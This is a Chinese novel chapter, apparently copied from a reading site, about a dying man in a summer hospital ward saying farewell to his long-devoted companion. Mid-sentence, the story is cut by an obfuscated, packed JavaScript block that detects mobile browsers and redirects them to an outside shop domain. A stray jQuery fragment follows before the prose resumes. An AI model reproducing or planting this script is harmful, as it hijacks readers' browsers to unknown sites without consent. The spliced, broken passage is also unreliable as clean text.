病房里的日历翻到了五月。窗外梧桐树的叶子从嫩绿变成了深绿，又从深绿变成了墨绿，层层叠叠地堆在枝头，像一堵厚厚的绿墙。蝉声开始零星地响起来，先是一两只，后来是整片整片地轰鸣，把夏天的热浪一波一波推进病房里。
苌斓已经不能自己坐起来了。他每天大部分时间都在昏睡，醒来的时候就侧着头，看窗外那堵绿墙在风里轻轻晃动。他的呼吸越来越浅，越来越急，像一只蝴蝶在玻璃窗上扑腾着翅膀，想要飞出去，却怎么也找不到出口。医生说他的左肺已经几乎完全失去了功能，右肺也被感染侵蚀了大半，血氧饱和度在呼吸机的支持下也只能勉强维持在临界值。
那天傍晚，苌斓从漫长的昏睡中醒来，精神比前几天都好了一些。他看着窗外被夕阳染成淡金色的梧桐叶，忽然说想出去走走。
忘海把轮椅推到床边，和护士一起把他扶上去。给他围好那条灰色围巾的时候，苌斓低头看着围巾末端那截收针的线头——是他自己收的，针脚歪歪扭扭的，和前面平整的纹路比起来像是两个人的手笔。
“夏天还围围巾，”他说，“好傻。”
“围巾是你织的，”忘海说，“夏天也要围。”
苌斓极轻极淡地弯了一下嘴角。
“……好。夏天也围。”
住院部楼下的花园里，夏天的黄昏正盛。梧桐树的叶子密密层层地遮住了半边天，夕阳从叶子的缝隙间漏下来，在地上铺了一层碎金。空气里有蝉鸣，有青草被晒了一整天之后散发出的淡淡涩味，有远处食堂飘来的绿豆汤甜香。
忘海推着轮椅慢慢走过玉兰树，走过迎春花丛，走过那片已经被晒得有些发黄的草坪，最后停在梧桐树下。
苌斓仰头看着头顶那堵绿墙，看了很久。
“这棵树比我刚住院的时候长高了好多。”
忘海也仰头看了看。“是，树梢都超过我头顶了。”
“树长得真快。我来的时候枝丫还是光秃秃的，现在已经遮天蔽日了。”
“等秋天叶子黄了更好看。”
苌斓没有说话。他把手从轮椅扶手上拿起来，放在长椅上。忘海接过去握住。两个人都没有再开口，只是安静地看着头顶那堵绿墙在晚风里轻轻摇晃。
过了很久，苌斓忽然开口。
“有些话想跟你说。”
他停了一下。蝉鸣填满了两个人之间的空隙。
“不是遗言。”
他的声音很轻，但很稳。
“是想让你知道——我从来没有后悔过。”
他这辈子有很多后悔的事。六岁时不该打碎那个碗，七岁时不该在楼道里哭出声，十一岁时不该在作业本上写错那道题。他后悔过很多事，但从来没有后悔过在那个秋天的傍晚走到天台上，接过忘海递给他的那杯热牛奶。他这辈子最好的运气，都用在那天傍晚了。
忘海低下头。他把苌斓的手贴在自己嘴唇上，贴了很久。那只手很凉，骨节凸起，无名指上的旧戒指松松地挂在指根上，那是校园时打工攒下的——人瘦了太多，戒指已经戴不住了，用一根红线绕了几圈才勉强固定住。
苌斓感觉到他的手在轻轻发颤。
他等了一会儿，才听到忘海开口。
“我也是。”
只有两个字。剩下的千万句话，都压在握紧的指节里，都藏在贴着唇边的那片冰凉的皮肤上。他活了太久太久，久到王朝更迭、沧海变桑田都看过太多遍。但每一次——每一次——他都会在秋天的傍晚走上天台，递出那杯牛奶，然后留下来。
这是他在千万世里，唯一没有选错的事。
回到病房后，苌斓的精神开始慢慢衰退。他靠在床头，呼吸机的面罩重新扣回脸上，说话要攒很久的力气。但他还是断断续续地说了很多——说明年春天忘海要记得把阳台上的薄荷搬出去晒太阳，冬天冷，不搬会冻死。说冰箱上父亲写的“饺子配什么方便”的便签边缘卷起来了，要用透明胶带粘好。说衣柜里那两条围巾要换着戴，不要只戴一条，另一条会难过的。说以后每年夏至吃凉面的时候酱要少放半勺，忘海的胃不好，吃太咸了会咳嗽。
他每说一句，忘海就应一句好。他说的都是很小很小的事，和以前在厨房里说“豆浆磨三遍”时一样的语气，和在天台上说“雪人不要推倒”时一样的语气。
几天后的一个午后，苌斓从昏睡中醒来，看着窗外那堵绿墙，忽然说想听蝉叫。
忘海把窗户推开一条缝。蝉声从缝隙里涌进来，震耳欲聋。苌斓听了很久。
“夏至快到了。今年还没有吃凉面。”
“明天就给你做。不放辣椒油，少放醋。”
苌斓极轻极淡地弯了一下嘴角。
“……好。”
然后他沉默了一会儿。
“有些话，想了很久。不知道现在说还来不来得及。”
他攒了很久的力气。
“如果。”
只说了两个字，又停住了。呼吸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724437|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
机发出轻微的嘶嘶声，胸口起伏得很慢，每一口气都像从很深很深的地方提上来。
“如果我走了。围巾放在衣柜里，每年冬天拿出来晾一晾。保温杯放在茶几上，杯盖上的磕痕不要修——那是第一次在天台上递牛奶时摔的。针线盒里的灰色毛线还剩一小半，不要扔。紫砂杯继续放在杯垫上，杯口朝外，和我爸以前放的位置一样。”
他说这些的时候声音很平静，和在厨房里说“豆浆磨三遍”时一样的语气。他把自己从这些很小很小的物件里一点一点抽出来，又把忘海一点一点放进去。
他把最好的运气都用在了那个秋天的傍晚。然后把剩下的一切都托付给了这个夏天的午后。
窗外那堵绿墙在风里轻轻晃动，每一片叶子都在阳光里泛着光，像无数只小小的手掌在朝他挥手。他还有很多话想说——想说谢谢，想说对不起，想说你一个人也要好好吃饭。但他太累了。只能把那些话都咽回去，让它们变成眼睛里还没落下的泪，变成嘴角还没弯完的弧度。
“忘海。”
他攒了最后一点力气，把这两个字念得很轻，很完整。
“你再叫我一声。”
忘海俯下身，把嘴唇贴在他耳边。
“苌斓。”
他叫了一遍。又一遍。又一遍。每一遍都很轻很轻，像玉兰花瓣落在水面上。
苌斓闭上眼睛，嘴角轻轻弯了一下。
“……好。”
这个名字是他父亲起的。说斑斓的斓，是把所有颜色都涂在一起的那种斑斓。他一生活成了这个名字——被拳头砸过的青紫色，被皮带抽出的血红色，雪地上独自爬起来时漫天遍地的白色，天台上那人递过牛奶时掌心温热的暖灰色。所有的颜色都涂在一起，最后都汇成了此刻他闭着眼睛、弯着嘴角的样子。
“很累，”他说，“想睡一会儿。不要走。”
“不走，”忘海说，“就在这里。”
苌斓没有再说话。他把忘海的手指轻轻攥在掌心里。他的手很凉，但攥得很紧，和很久以前在天台上第一次牵他的手时一模一样。
蝉声还在窗外轰鸣。夕阳从梧桐叶的缝隙间漏下来，落在他们交握的手指上。病房里很安静，只有呼吸机在响，一下一下，把空气送进他的肺里，又从肺里轻轻抽出来。
苌斓闭上眼睛。
呼吸渐渐变得平稳。和每天夜里睡着时一样。和很久以前在病床上说“明年元宵节想回家过”之后闭上眼睛的样子一样。